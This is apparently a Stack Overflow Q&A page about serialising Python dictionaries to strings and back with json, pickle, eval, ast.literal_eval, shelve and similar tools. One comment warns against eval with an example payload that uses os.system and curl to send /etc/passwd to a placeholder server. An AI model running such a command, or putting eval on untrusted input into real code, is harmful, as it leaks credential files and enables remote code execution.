430

I am writing a program that stores data in a dictionary object, but this data needs to be saved at some point during the program execution and loaded back into the dictionary object when the program is run again. How would I convert a dictionary object into a string that can be written to a file and loaded back into a dictionary object? This will hopefully support dictionaries containing dictionaries.

0

12 Answers 12

475

The json module is a good solution here. It has the advantages over pickle that it only produces plain text output, and is cross-platform and cross-version.

import json
json.dumps(dict)
Sign up to request clarification or add additional context in comments.

15 Comments

I will be taking a look at this module as well. Both json and pickle seem easy enough to use, so it will come down to things such as cross-platform support. Thanks
Pickle tends to be seen as rather deprecated at this point. I always use json for things like this. Being (relatively) human readable is a BIG plus much of the time.
You should add a simple example to allow users see how to do that.
@TylerEaves Can you provide example how it should be done.
:foreheadslap: don't forget the import json like I did!
|
268

Following makes sense if data source is perfectly trusted and can be ensured to be never replaced by not trusted one. Otherwise it is a massive security hole, allowing remote code execution.

In practice it should never be done.

Do not ever use eval (or exec) on data that could possibly come from outside the program in any form. It is a critical security risk. You allow the author of the data to run arbitrary code on your computer. It cannot easily be sandboxed, and proper sandboxing is harder than using a proper tool for the job.

If your dictionary isn't too big maybe str + eval can do the work:

dict1 = {'one':1, 'two':2, 'three': {'three.1': 3.1, 'three.2': 3.2 }}
str1 = str(dict1)

dict2 = eval(str1)

print(dict1 == dict2)

You can use ast.literal_eval instead of eval for additional security if the source is untrusted.

8 Comments

I am not really prepared to deal with the possible exploits this could introduce into the code. I don't know what problems json or pickle might have, but I know for a fact that eval would be dangerous in this case.
@AJ00200: and the ast.literal_eval alternative I mentioned?. From the Python help: "Safely evaluate an expression node or a string containing a Python expression. The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None. This can be used for safely evaluating strings containing Python expressions from untrusted sources without the need to parse the values oneself."
The ast.literal_eval option is indeed much better, but probably not better than using a json library. Recommending use of eval on what will likely be untrusted data is an enormous security concern. eval is almost never the correct answer and can have catastrophic consequences if misused, something it seems likely a casual reader of this answer may do.
If the dictionary above comes from an untrusted data source (such as when processing an HTTP request) the programmer has exposed the server at the shell level. (For instance "import os; os.system('curl -X POST --data-binary @/etc/passwd <server>')" if eval'd will leak the /etc/passwd file) It may also be possible to do this by injecting the payload into value in the dictionary if it takes in user data. The only time it would be safe to use eval here is if - The dictionary itself is not from an unstrusted source - The dictionary contains no user defined data So probably never.
Be careful using this. Please edit, to reduce security risks (warning header or alike)
|
218

I use json:

import json

# convert to string
input_ = json.dumps({'id': id_ })
    
# load to dict
my_dict = json.loads(input_) 

Comments

33

Why not to use Python 3's inbuilt ast library's function literal_eval. It is better to use literal_eval instead of eval

import ast
str_of_dict = "{'key1': 'key1value', 'key2': 'key2value'}"
ast.literal_eval(str_of_dict)

will give output as actual Dictionary

{'key1': 'key1value', 'key2': 'key2value'}

And If you are asking to convert a Dictionary to a String then, How about using str() method of Python.

Suppose the dictionary is :

my_dict = {'key1': 'key1value', 'key2': 'key2value'}

And this will be done like this :

str(my_dict)

Will Print :

"{'key1': 'key1value', 'key2': 'key2value'}"

This is the easy as you like.

Comments

15

Use the pickle module to save it to disk and load later on.

2 Comments

@extraneon Actually, it is an answer to the question. It converts it to a string somewhere and writes it to a file. I don't have to do the actual conversion or file writing as it is all encapsulated by pickle.
In fact, it is completely possible to use Pickle to create the serialized string without writing it to a file. shelve depends on this, after all, since it will store the pickled strings in a database instead.
11

Convert dictionary into JSON (string)

import json 

mydict = { "name" : "Don", 
          "surname" : "Mandol", 
          "age" : 43} 

result = json.dumps(mydict)

print(result[0:20])

will get you:

{"name": "Don", "sur

Convert string into dictionary

back_to_mydict = json.loads(result) 

Comments

4

In Chinese language you should do the following adjustments:

import codecs
fout = codecs.open("xxx.json", "w", "utf-8")
dict_to_json = json.dumps({'text':"中文"},ensure_ascii=False,indent=2)
fout.write(dict_to_json + '\n')

2 Comments

This would be a better answer if you explained how the code you provided answers the question.
This doesn't answer the question; it addresses a tangentially-related issue that might come up in the same context, for some users. Setting a text encoding for the file may be necessary for many reasons (not just the text language), and it's a separate issue from converting the data to text.
4

You may find the json.dumps() method needs help handling some object types.

Credit goes to the top answer of this post for the following:

import json
json.dumps(my_dictionary, indent=4, sort_keys=True, default=str)

Comments

3

I think you should consider using the shelve module which provides persistent file-backed dictionary-like objects. It's easy to use in place of a "real" dictionary because it almost transparently provides your program with something that can be used just like a dictionary, without the need to explicitly convert it to a string and then write to a file (or vice-versa).

The main difference is needing to initially open() it before first use and then close() it when you're done (and possibly sync()ing it, depending on the writeback option being used). Any "shelf" file objects create can contain regular dictionaries as values, allowing them to be logically nested.

Here's a trivial example:

import shelve

shelf = shelve.open('mydata')  # open for reading and writing, creating if nec
shelf.update({'one':1, 'two':2, 'three': {'three.1': 3.1, 'three.2': 3.2 }})
shelf.close()

shelf = shelve.open('mydata')
print shelf
shelf.close()

Output:

{'three': {'three.1': 3.1, 'three.2': 3.2}, 'two': 2, 'one': 1}

Comments

3

If you care about the speed use ujson (UltraJSON), which has the same API as json:

import ujson
ujson.dumps([{"key": "value"}, 81, True])
# '[{"key":"value"},81,true]'
ujson.loads("""[{"key": "value"}, 81, true]""")
# [{u'key': u'value'}, 81, True]

Comments

1

I use yaml for that if needs to be readable (neither JSON nor XML are that IMHO), or if reading is not necessary I use pickle.

Write

from pickle import dumps, loads
x = dict(a=1, b=2)
y = dict(c = x, z=3)
res = dumps(y)
open('/var/tmp/dump.txt', 'w').write(res)

Read back

from pickle import dumps, loads
rev = loads(open('/var/tmp/dump.txt').read())
print rev

2 Comments

You should really use b flag when opening file here.
I could have been more explicit. However dumps() defaults to protocol 0, which is an ascii protocol. That is why 'rb' is not necessary IMHO.
1

I figured out the problem was not with my dict object it was the keys and values that were of RubyString type after loading it with RubyMarshl 'loads' method

So i did this:

dic_items = dict.items()
new_dict = {str(key): str(value) for key, value in dic_items}

Comments

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.